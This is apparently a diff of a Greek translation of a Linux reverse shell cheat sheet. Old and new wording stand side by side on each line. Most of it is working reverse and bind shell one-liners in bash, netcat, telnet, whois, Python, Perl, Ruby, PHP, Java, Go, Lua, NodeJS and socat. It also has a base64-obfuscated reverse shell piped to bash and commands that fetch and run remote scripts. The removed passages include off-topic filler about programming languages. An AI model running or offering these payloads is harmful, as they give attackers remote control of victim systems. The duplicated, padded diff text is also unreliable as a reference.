echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null
``` ```
#### Εξήγηση του Shell #### Εξήγηση Shell
1. **`bash -i`**: Αυτό το μέρος της εντολής ξεκινά ένα διαδραστικό (`-i`) κέλυφος Bash. 1. **`bash -i`**: Αυτό το τμήμα της εντολής ξεκινάει ένα διαδραστικό (`-i`) κέλυφος Bash.
2. **`>&`**: Αυτό το μέρος της εντολής είναι μια συντομογραφία για την **ανακατεύθυνση τόσο της τυπικής εξόδου** (`stdout`) όσο και της **τυπικής σφάλματος** (`stderr`) στον **ίδιο προορισμό**. 2. **`>&`**: Αυτό το τμήμα της εντολής είναι μια συντόμευση για την **ανακατεύθυνση τόσο της τυπικής εξόδου** (`stdout`) όσο και της **τυπικής σφάλματος** (`stderr`) προς το **ίδιο προορισμό**.
3. **`/dev/tcp/<ATTACKER-IP>/<PORT>`**: Αυτό είναι ένα ειδικό αρχείο που **αναπαριστά μια σύνδεση TCP με την καθορισμένη διεύθυνση IP και θύρα**. 3. **`/dev/tcp/<ATTACKER-IP>/<PORT>`**: Αυτό είναι ένα ειδικό αρχείο που **αντιπροσωπεύει μια σύνδεση TCP στη συγκεκριμένη διεύθυνση IP και θύρα**.
* Ανακατευθύνοντας τις ροές εξόδου και σφάλματος σε αυτό το αρχείο, η εντολή στην πραγματικότητα στέλνει την έξοδο της διαδραστικής συνεδρίας του κελύφους στον υπολογιστή του επιτιθέμενου. * Με το **ανακατεύθυνση των ροών εξόδου και σφάλματος σε αυτό το αρχείο**, η εντολή στέλνει αποτελέσματα της διαδραστικής συνεδρίας κελύφους στον υπολογιστή του εισβολέα.
4. **`0>&1`**: Αυτό το μέρος της εντολής **ανακατευθύνει την τυπική είσοδο (`stdin`) στον ίδιο προορισμό με την τυπική έξοδο (`stdout`)**. 4. **`0>&1`**: Αυτό το τμήμα της εντολής **ανακατευθύνει την τυπική είσοδο (`stdin`) στον ίδιο προορισμό με την τυπική έξοδο (`stdout`)**.
### Δημιουργία αρχείου και εκτέλεση ### Δημιουργία σε αρχείο και εκτέλεση
```bash ```bash
echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh; echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh
``` ```
## Προώθηση Shell ## Προωθούμενη κέλυφος
Εάν αντιμετωπίσετε μια ευπάθεια **RCE** σε μια εφαρμογή ιστού βασισμένη σε Linux, ενδέχεται να υπάρχουν περιπτώσεις όπου γίνεται δύσκολη η απόκτηση αντίστροφου shell λόγω της παρουσίας κανόνων Iptables ή άλλων φίλτρων. Σε τέτοιες περιπτώσεις, σκεφτείτε να δημιουργήσετε ένα PTY shell εντός του παραβιασμένου συστήματος χρησιμοποιώντας αγωγούς (pipes). Εάν αντιμετωπίσετε μια **ευπάθεια RCE** σε μια εφαρμογή ιστού βασισμένη σε Linux, ενδέχεται να υπάρχουν περιπτώσεις όπου **η απόκτηση εναντίον κέλυφους γίνεται δύσκολη** λόγω της ύπαρξης κανόνων Iptables ή άλλων φίλτρων. Σε τέτοια σενάρια, σκεφτείτε τη δημιουργία ενός κελύφους PTY εντός του χειρισμένου συστήματος χρησιμοποιώντας σωλήνες.
Μπορείτε να βρείτε τον κώδικα στο [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell) Μπορείτε να βρείτε τον κώδικα στο [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell)
Απλά χρειάζεται να τροποποιήσετε: Απλά χρειάζεται να τροποποιήσετε:
* Το URL του ευπάθους κεντρικού υπολογιστή * Τη διεύθυνση URL του ευάθροτου κόμβου
* Το πρόθεμα και το επίθεμα του φορτίου σας (αν υπάρχει) * Το πρόθεμα και το επίθεμα της φορτίου σας (αν υπάρχει)
* Τον τρόπο με τον οποίο αποστέλλεται το φορτίο (κεφαλίδες; δεδομένα; επιπλέον πληροφορίες;) * Τον τρόπο με τον οποίο το φορτίο στέλνεται (κεφαλίδες; δεδομένα; επιπλέον πληροφορίες;)
Έπειτα, μπορείτε απλά να **αποστείλετε εντολές** ή ακόμα και να **χρησιμοποιήσετε την εντολή `upgrade`** για να λάβετε ένα πλήρες PTY (σημειώστε ότι οι αγωγοί διαβάζονται και γράφονται με καθυστέρηση περίπου 1,3 δευτερολέπτων). Έπειτα, μπορείτε απλά να **στείλετε εντολές** ή ακόμα και να **χρησιμοποιήσετε την εντολή `upgrade`** για να λάβετε ένα πλήρες PTY (σημειώστε ότι οι σωλήνες διαβάζονται και γράφονται με καθυστέρηση περίπου 1,3 δευτερολέπτων).
## Netcat ## Netcat
```bash ```bash
@ -89,44 +81,34 @@ rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | nc <ATTACKER-IP> <
``` ```
## gsocket ## gsocket
Ελέγξτε το στην [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/) Ελέγξτε το στο [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/)
```bash ```bash
bash -c "$(curl -fsSL gsocket.io/x)" bash -c "$(curl -fsSL gsocket.io/x)"
``` ```
## Telnet ## Telnet
Το Telnet είναι ένα πρωτόκολλο δικτύου που χρησιμοποιείται για την απομακρυσμένη σύνδεση σε έναν υπολογιστή μέσω δικτύου. Με το Telnet, μπορείτε να συνδεθείτε σε έναν απομακρυσμένο υπολογιστή και να εκτελέσετε εντολές από τον τερματικό σας. Telnet είναι ένα πρωτόκολλο δικτύου που σας επιτρέπει να συνδεθείτε σε άλλους υπολογιστές στο διαδίκτυο.
Για να συνδεθείτε σε έναν υπολογιστή μέσω Telnet, χρειάζεστε τη διεύθυνση IP του υπολογιστή και τη θύρα Telnet που χρησιμοποιείται. Μπορείτε να χρησιμοποιήσετε την εντολή `telnet` στο τερματικό σας για να αρχίσετε μια σύνδεση Telnet.
Όταν συνδεθείτε με επιτυχία σε έναν υπολογιστή μέσω Telnet, θα έχετε πρόσβαση στο τερματικό του υπολογιστή και θα μπορείτε να εκτελέσετε εντολές όπως αν είχατε φυσική πρόσβαση σε αυτόν.
Ωστόσο, το Telnet δεν είναι ασφαλές, καθώς οι πληροφορίες που ανταλλάσσονται μεταξύ του τερματικού σας και του απομακρυσμένου υπολογιστή μεταδίδονται σε απλό κείμενο. Για αυτόν τον λόγο, συνιστάται να χρησιμοποιείτε ασφαλή πρωτόκολλα όπως το SSH αντί για το Telnet.
```bash ```bash
telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
telnet <ATTACKER-IP> <PORT> | /bin/bash | telnet <ATTACKER-IP> <PORT> telnet <ATTACKER-IP> <PORT> | /bin/bash | telnet <ATTACKER-IP> <PORT>
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-IP> <PORT> 1>/tmp/bkpipe rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-IP> <PORT> 1>/tmp/bkpipe
``` ```
Ο **Επιτιθέμενος** ## Whois
**Επιτιθέμενος**
```bash ```bash
while true; do nc -l <port>; done while true; do nc -l <port>; done
``` ```
Για να στείλετε την εντολή, γράψτε την, πατήστε enter και πατήστε CTRL+D (για να σταματήσει το STDIN) ```
Για να στείλετε την εντολή, γράψτε την, πατήστε enter και πατήστε CTRL+D (για να σταματήσετε το STDIN)
**Θύμα** **Θύμα**
```
```bash ```bash
export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done
``` ```
## Πυθώνας ## Πυθών
Ο Πυθώνας είναι μια δημοφιλής γλώσσα προγραμματισμού που χρησιμοποιείται ευρέως για την ανάπτυξη εφαρμογών και σεναρίων. Είναι εύκολο να μάθετε και να χρησιμοποιήσετε, και προσφέρει πληθώρα βιβλιοθηκών και εργαλείων για την επεξεργασία δεδομένων, την ανάλυση και την αυτοματοποίηση διαδικασιών.
Ο Πυθώνας μπορεί να χρησιμοποιηθεί για την εκτέλεση εντολών στο λειτουργικό σύστημα Linux. Μπορείτε να χρησιμοποιήσετε τη βιβλιοθήκη `subprocess` για να εκτελέσετε εντολές στο τερματικό και να λάβετε την έξοδο τους. Επίσης, μπορείτε να χρησιμοποιήσετε τη βιβλιοθήκη `os` για να εκτελέσετε εντολές στο τερματικό και να πάρετε πληροφορίες για το περιβάλλον του συστήματος.
Ο Πυθώνας επίσης παρέχει τη δυνατότητα να δημιουργήσετε ένα απλό αρχείο κειμένου και να το εκτελέσετε ως εντολή στο τερματικό. Αυτό μπορεί να γίνει χρησιμοποιώντας την εντολή `chmod` για να δώσετε δικαιώματα εκτέλεσης στο αρχείο και την εντολή `./` για να το εκτελέσετε.
Ο Πυθώνας είναι ένα ισχυρό εργαλείο για την εκτέλεση εντολών στο λειτουργικό σύστημα Linux και την αυτοματοποίηση διαδικασιών. Με τη σωστή χρήση και την κατανόηση των δυνατοτήτων του, μπορείτε να επιτύχετε πολλά στον κόσμο του χάκινγκ.
```bash ```bash
#Linux #Linux
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")' export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
@ -135,75 +117,18 @@ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOC
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");' python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'
``` ```
## Perl ## Perl
Perl είναι μια δυναμική γλώσσα προγραμματισμού που χρησιμοποιείται ευρέως για την αυτοματοποίηση διαδικασιών και την επεξεργασία κειμένου. Έχει ισχυρές δυνατότητες για την επεξεργασία αρχείων και την διαχείριση συστήματος. Μπορεί να χρησιμοποιηθεί για την ανάπτυξη εργαλείων hacking και για την εκτέλεση επιθέσεων.
Για να εκτελέσετε ένα Perl script από ένα shell, μπορείτε να χρησιμοποιήσετε την εντολή `perl script.pl`. Αν το script απαιτεί ορίσματα, μπορείτε να τα περάσετε μετά το όνομα του script, χωρισμένα με κενά.
Για να εκτελέσετε ένα Perl one-liner από ένα shell, μπορείτε να χρησιμοποιήσετε την εντολή `perl -e 'one-liner'`. Το one-liner είναι ένα μικρό Perl script που εκτελείται απευθείας από τη γραμμή εντολών.
Για να εκτελέσετε μια εντολή shell από ένα Perl script, μπορείτε να χρησιμοποιήσετε την συνάρτηση `system('command')`. Η εντολή shell θα εκτελεστεί και το αποτέλεσμα θα επιστραφεί στο Perl script.
Για να εκτελέσετε μια εντολή shell και να αποθηκεύσετε το αποτέλεσμα σε μια μεταβλητή Perl, μπορείτε να χρησιμοποιήσετε την συνάρτηση `backticks` ή τον τελεστή `qx`. Η εντολή shell θα εκτελεστεί και το αποτέλεσμα θα αποθηκευτεί στη μεταβλητή.
Για να διαβάσετε από ένα αρχείο σε ένα Perl script, μπορείτε να χρησιμοποιήσετε την συνάρτηση `open` για να ανοίξετε το αρχείο και την συνάρτηση `readline` για να διαβάσετε τις γραμμές του αρχείου.
Για να γράψετε σε ένα αρχείο από ένα Perl script, μπορείτε να χρησιμοποιήσετε την συνάρτηση `open` για να ανοίξετε το αρχείο με την επιλογή `>` για εγγραφή και την συνάρτηση `print` για να γράψετε στο αρχείο.
Για να εκτελέσετε μια εντολή shell και να πάρετε την έξοδο της ως είσοδο για μια άλλη εντολή shell, μπορείτε να χρησιμοποιήσετε τον τελεστή παίρνοντας την έξοδο της πρώτης εντολής και περνώντας την ως είσοδο στη δεύτερη εντολή.
```bash ```bash
perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
``` ```
## Ruby ## Ruby
Ruby είναι μια δημοφιλής γλώσσα προγραμματισμού που χρησιμοποιείται ευρέως για την ανάπτυξη εφαρμογών. Έχει μια καθαρή και ευανάγνωστη σύνταξη, καθιστώντας τον κώδικα ευκολότερο στην κατανόηση και στη συντήρηση. Η Ruby υποστηρίζει αντικειμενοστραφή προγραμματισμό και διαθέτει μια ευέλικτη και δυναμική τύπωση. Επιπλέον, παρέχει πλούσια βιβλιοθήκη με πολλές χρήσιμες λειτουργίες. Το Ruby είναι μια δημοφιλής γλώσσα προγραμματισμού που χρησιμοποιείται ευρέως για την ανάπτυξη λογισμικού.
Για να εκτελέσετε κώδικα Ruby, μπορείτε να χρησιμοποιήσετε τον διερμηνέα Ruby (ruby) ή να γράψετε τον κώδικα σε ένα αρχείο με κατάληξη .rb και να το εκτελέσετε με την εντολή ruby.
Παρακάτω παρουσιάζονται μερικά παραδείγματα κώδικα Ruby:
```ruby
# Εκτύπωση κειμένου
puts "Γεια σου, κόσμε!"
# Υπολογισμός αθροίσματος
a = 5
b = 10
sum = a + b
puts "Το άθροισμα των #{a} και #{b} είναι #{sum}."
# Έλεγχος συνθήκης
x = 7
if x > 5
puts "Ο αριθμός #{x} είναι μεγαλύτερος από 5."
else
puts "Ο αριθμός #{x} είναι μικρότερος ή ίσος με 5."
end
```
Αυτά είναι μερικά από τα βασικά στοιχεία της Ruby. Μπορείτε να εξερευνήσετε περισσότερες δυνατότητες και λειτουργίες της γλώσσας αυτής για να αναπτύξετε προηγμένες εφαρμογές.
```bash ```bash
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
``` ```
## PHP ## PHP
Η PHP είναι μια δημοφιλής γλώσσα προγραμματισμού που χρησιμοποιείται ευρέως για την ανάπτυξη δυναμικών ιστοσελίδων. Είναι εύκολη στην εκμάθηση και παρέχει πολλές δυνατότητες για την επεξεργασία δεδομένων και την αλληλεπίδραση με βάσεις δεδομένων.
Για να εκτελέσετε κώδικα PHP σε έναν διακομιστή Linux, μπορείτε να χρησιμοποιήσετε τον ενσωματωμένο διακομιστή PHP ή να εγκαταστήσετε έναν διακομιστή web όπως το Apache ή το Nginx.
Για να εκτελέσετε ένα αρχείο PHP από τη γραμμή εντολών, μπορείτε να χρησιμοποιήσετε την εντολή `php` ακολουθούμενη από το όνομα του αρχείου. Για παράδειγμα:
```bash
php script.php
```
Μπορείτε επίσης να εκτελέσετε κώδικα PHP από μια ιστοσελίδα, ενσωματώνοντας τον κώδικα μέσα σε ετικέτες `<?php ?>`. Ο κώδικας που βρίσκεται μέσα σε αυτές τις ετικέτες θα εκτελεστεί κατά την αναπαραγωγή της ιστοσελίδας.
Για να συνδεθείτε σε μια βάση δεδομένων MySQL από PHP, μπορείτε να χρησιμοποιήσετε την ενσωματωμένη συνάρτηση `mysqli_connect()` για να δημιουργήσετε μια σύνδεση και τη συνάρτηση `mysqli_query()` για να εκτελέσετε ερωτήματα SQL.
Η PHP παρέχει επίσης πολλές ενσωματωμένες συναρτήσεις για την επεξεργασία αρχείων, την αποστολή email, την κρυπτογράφηση δεδομένων και πολλά άλλα. Μπορείτε να βρείτε περισσότερες πληροφορίες και παραδείγματα κώδικα στην επίσημη τεκμηρίωση της PHP.
```php ```php
// Using 'exec' is the most common method, but assumes that the file descriptor will be 3. // Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
// Using this method may lead to instances where the connection reaches out to the listener and then closes. // Using this method may lead to instances where the connection reaches out to the listener and then closes.
@ -216,42 +141,19 @@ php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?> <?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>
``` ```
## Java ## Java
Η Java είναι μια αντικειμενοστραφής γλώσσα προγραμματισμού που χρησιμοποιείται ευρέως για την ανάπτυξη εφαρμογών. Έχει σχεδιαστεί να είναι ανεξάρτητη πλατφόρμας, πράγμα που σημαίνει ότι μπορεί να τρέξει σε διάφορες πλατφόρμες, όπως Windows, macOS και Linux. Η Java χρησιμοποιείται επίσης ευρέως για την ανάπτυξη εφαρμογών για το διαδίκτυο και την κινητή τηλεφωνία.
Μια από τις κύριες δυνατότητες της Java είναι η δυνατότητα να τρέξει κώδικα σε ένα εικονικό μηχάνημα Java (JVM). Αυτό σημαίνει ότι ο κώδικας Java μπορεί να εκτελεστεί σε οποιαδήποτε πλατφόρμα που υποστηρίζει την JVM, χωρίς να απαιτείται η μεταγλώττιση του κώδικα για κάθε πλατφόρμα ξεχωριστά.
Η Java παρέχει επίσης πλούσια βιβλιοθήκη κλάσεων και εργαλείων που διευκολύνουν την ανάπτυξη εφαρμογών. Αυτές οι βιβλιοθήκες περιλαμβάνουν λειτουργίες για τη διαχείριση αρχείων, την επικοινωνία με το δίκτυο, την ασφάλεια και πολλά άλλα.
Επιπλέον, η Java υποστηρίζει την ανάπτυξη εφαρμογών με πολλαπλούς νήματα, που επιτρέπει την ταυτόχρονη εκτέλεση πολλαπλών τμημάτων κώδικα. Αυτό μπορεί να βελτιώσει την απόδοση και την αποκρισιμότητα των εφαρμογών.
Τέλος, η Java παρέχει επίσης ισχυρά εργαλεία για την ανάπτυξη εφαρμογών για το διαδίκτυο, όπως το Java Servlet API και το JavaServer Pages (JSP). Αυτά τα εργαλεία επιτρέπουν τη δημιουργία δυναμικών ιστοσελίδων και εφαρμογών διαδικτύου.
```bash ```bash
r = Runtime.getRuntime() r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor() p.waitFor()
``` ```
## Ncat ## Ncat
Ncat είναι ένα πανίσχυρο εργαλείο που παρέχει προηγμένες δυνατότητες δικτύωσης και αλληλεπίδρασης με συστήματα. Μπορεί να χρησιμοποιηθεί για να δημιουργήσει και να διαχειριστεί συνδέσεις TCP/IP, να αναλύσει και να στείλει πακέτα δεδομένων, και να εκτελέσει εντολές απομακρυσμένα σε απομακρυσμένα συστήματα. Είναι ιδιαίτερα χρήσιμο για την εξερεύνηση και την εκμετάλλευση ευπάθειών σε δίκτυα και συστήματα.
Για να ξεκινήσετε με το Ncat, μπορείτε να το εκτελέσετε από τη γραμμή εντολών χρησιμοποιώντας την εντολή `ncat`. Μπορείτε να προσθέσετε διάφορες παραμέτρους για να προσαρμόσετε τη συμπεριφορά του, όπως η προσδιορισμός της πόρτας, η χρήση SSL, η αυθεντικοποίηση και πολλά άλλα.
Μερικές από τις βασικές εντολές που μπορείτε να χρησιμοποιήσετε με το Ncat περιλαμβάνουν:
- Σύνδεση σε έναν απομακρυσμένο διακομιστή TCP/IP: `ncat <ip> <port>`
- Αναμονή για σύνδεση από έναν απομακρυσμένο υπολογιστή: `ncat -l <port>`
- Αποστολή αρχείου σε έναν απομακρυσμένο διακομιστή: `ncat <ip> <port> < file`
- Λήψη αρχείου από έναν απομακρυσμένο διακομιστή: `ncat -l <port> > file`
Αυτές είναι μόνο μερικές από τις δυνατότητες που προσφέρει το Ncat. Μπορείτε να εξερευνήσετε περισσότερες εντολές και παραμέτρους στην τεκμηρίωση του εργαλείου.
```bash ```bash
victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl victim> ncat --exec cmd.exe --allow 10.0.0.4 -vnl 4444 --ssl
attacker> ncat -v 10.0.0.22 4444 --ssl attacker> ncat -v 10.0.0.22 4444 --ssl
``` ```
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Βρείτε ευπάθειες που είναι πιο σημαντικές, ώστε να μπορείτε να τις διορθώσετε πιο γρήγορα. Ο Intruder παρακολουθεί την επιθετική επιφάνεια σας, εκτελεί προληπτικές απειλητικές αναζητήσεις, εντοπίζει προβλήματα σε ολόκληρο το τεχνολογικό σας στοίχημα, από τις διεπαφές προγραμματισμού εφαρμογών (APIs) μέχρι τις ιστοσελίδες και τα συστήματα στον νέφος. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) σήμερα. Βρείτε ευπάθειες που έχουν μεγαλύτερη σημασία ώστε να μπορέσετε να τις επιδιορθώσετε γρηγορότερα. Το Intruder παρακολουθεί την επιθετική επιφάνεια σας, εκτελεί προληπτικές απειλητικές σάρωσεις, εντοπίζει προβλήματα σε ολόκληρη την τεχνική σας υποδομή, από APIs έως web εφαρμογές και συστήματα cloud. [**Δοκιμάστε το δωρεάν**](https://www.intruder.io/?utm_source=referral\&utm_campaign=hacktricks) σήμερα.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %} {% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
@ -262,14 +164,6 @@ attacker> ncat -v 10.0.0.22 4444 --ssl
echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go
``` ```
## Lua ## Lua
Lua είναι μια δημοφιλής γλώσσα προγραμματισμού σε σενάρια που χρησιμοποιείται ευρέως για την ανάπτυξη εφαρμογών και παιχνιδιών. Έχει απλή σύνταξη και είναι ευέλικτη, καθιστώντας την ιδανική για την ενσωμάτωση σε άλλες εφαρμογές. Η Lua υποστηρίζει δυναμική τυποποίηση και έχει ένα μικρό μέγεθος, καθιστώντας την αποδοτική και ελαφριά.
Μερικές από τις βασικές λειτουργίες της Lua περιλαμβάνουν τη δυνατότητα δημιουργίας και εκτέλεσης σεναρίων, τη διαχείριση αρχείων και την αλληλεπίδραση με το σύστημα λειτουργίας. Επίσης, παρέχει πολλές βιβλιοθήκες για να διευκολύνει την ανάπτυξη εφαρμογών.
Η Lua χρησιμοποιείται ευρέως σε πολλές εφαρμογές, όπως παιχνίδια, εφαρμογές κινητών συσκευών, εφαρμογές δικτύου και πολλές άλλες. Επίσης, χρησιμοποιείται σε πολλά λογισμικά όπως το Nginx και το Wireshark.
Αν και η Lua είναι μια δημοφιλής γλώσσα προγραμματισμού, είναι σημαντικό να λαμβάνονται υπόψη οι ασφαλείς πρακτικές προγραμματισμού για να αποφευχθούν πιθανές ευπάθειες και επιθέσεις.
```bash ```bash
#Linux #Linux
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');" lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
@ -277,40 +171,6 @@ lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','123
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'
``` ```
## NodeJS ## NodeJS
NodeJS είναι μια ανοιχτού κώδικα πλατφόρμα που εκτελεί κώδικα JavaScript στην πλευρά του διακομιστή. Χρησιμοποιεί τη μη-φραγμένη αρχιτεκτονική εκδόσεων για να επιτρέψει την ασύγχρονη επεξεργασία και την αποτελεσματική χρήση των πόρων του συστήματος. Ο NodeJS χρησιμοποιείται ευρέως για την ανάπτυξη διαδικτυακών εφαρμογών και υπηρεσιών δικτύου.
### Εγκατάσταση
Για να εγκαταστήσετε το NodeJS, ακολουθήστε τα παρακάτω βήματα:
1. Κατεβάστε το πακέτο εγκατάστασης από την επίσημη ιστοσελίδα του NodeJS.
2. Εκτελέστε το πακέτο εγκατάστασης και ακολουθήστε τις οδηγίες εγκατάστασης.
3. Ελέγξτε την εγκατάσταση εκτελώντας την εντολή `node -v` στο τερματικό. Θα πρέπει να εμφανιστεί η έκδοση του NodeJS που εγκαταστάθηκε.
### Εκτέλεση κώδικα NodeJS
Για να εκτελέσετε κώδικα NodeJS, ακολουθήστε τα παρακάτω βήματα:
1. Δημιουργήστε ένα αρχείο με κατάληξη `.js` που περιέχει τον κώδικά σας.
2. Ανοίξτε ένα τερματικό και μεταβείτε στον φάκελο όπου βρίσκεται το αρχείο.
3. Εκτελέστε τον κώδικα NodeJS χρησιμοποιώντας την εντολή `node <όνομα_αρχείου>.js`. Ο κώδικας θα εκτελεστεί και τα αποτελέσματα θα εμφανιστούν στο τερματικό.
### Παραδείγματα κώδικα NodeJS
Παρακάτω παρουσιάζονται μερικά παραδείγματα κώδικα NodeJS:
```javascript
// Εμφάνιση κειμένου στο τερματικό
console.log("Γεια σου, κόσμε!");
// Υπολογισμός του τετραγώνου ενός αριθμού
const number = 5;
const square = number * number;
console.log(`Το τετράγωνο του αριθμού ${number} είναι ${square}.`);
```
Αυτά είναι μερικά βασικά πράγματα που πρέπει να γνωρίζετε για το NodeJS. Μπορείτε να εξερευνήσετε περισσότερες δυνατότητες και λειτουργίες του NodeJS στην επίσημη τεκμηρίωση του.
```javascript ```javascript
(function(){ (function(){
var net = require("net"), var net = require("net"),
@ -373,49 +233,27 @@ openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_cli
[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries) [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
### Συνδεδεμένη κέλυφος (Bind shell) ### Δέσιμο κέλυφους
```bash ```bash
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337 attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337
``` ```
### Αντίστροφη κέλυφος ### Αντίστροφη κέλυφωση
